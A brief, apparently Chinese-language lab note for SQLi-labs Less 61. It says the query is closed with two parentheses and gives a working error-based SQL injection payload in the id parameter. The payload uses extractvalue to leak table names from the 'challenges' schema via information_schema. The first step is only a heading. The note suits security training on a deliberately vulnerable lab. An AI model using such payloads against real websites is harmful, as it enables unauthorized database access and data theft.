Sqli labs less 61

1.判断注入点

 

 2.查看数据库 本题利用了两个括号进行注释

?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+